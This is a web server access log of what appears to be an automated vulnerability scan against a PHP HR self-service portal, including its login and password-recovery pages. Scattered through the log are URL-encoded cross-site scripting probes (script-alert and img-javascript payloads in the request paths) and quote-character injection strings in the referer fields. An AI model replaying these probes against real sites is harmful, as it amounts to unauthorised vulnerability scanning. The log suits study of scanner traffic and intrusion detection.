"http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "'" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "%27" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "'\">" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.phpAppScanInfo=attXssAnalyzerDomBasedanalyzeXssFragmentAppendlcprobepa000001" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "%27" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "%2527" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php/\"> HTTP/1.1" 200 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "GET /ehr/ess/index.php/\"> HTTP/1.1" 200 803 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/index.php/%22%3e%3cscript%3ealert%2822%29%3c%2fscript%3e HTTP/1.1" 404 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/index.php/%22%3e%3cscript%3ealert%2822%29%3c%2fscript%3e HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:37 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2823%29%22%3e HTTP/1.1" 200 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2823%29%22%3e HTTP/1.1" 200 803 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "'\">" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "POST /ehr/ess/index.php/%22%3e%3cscript%3ealert%2824%29%3c%2fscript%3e HTTP/1.1" 404 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "POST /ehr/ess/index.php/%22%3e%3cscript%3ealert%2824%29%3c%2fscript%3e HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "%2527" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "POST /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2825%29%22%3e HTTP/1.1" 200 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "POST /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2825%29%22%3e HTTP/1.1" 200 803 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 """ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSAppScanInfo=attXssAnalyzerDomBasedanalyzeXssFragmentAppendlcprobepa000002" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 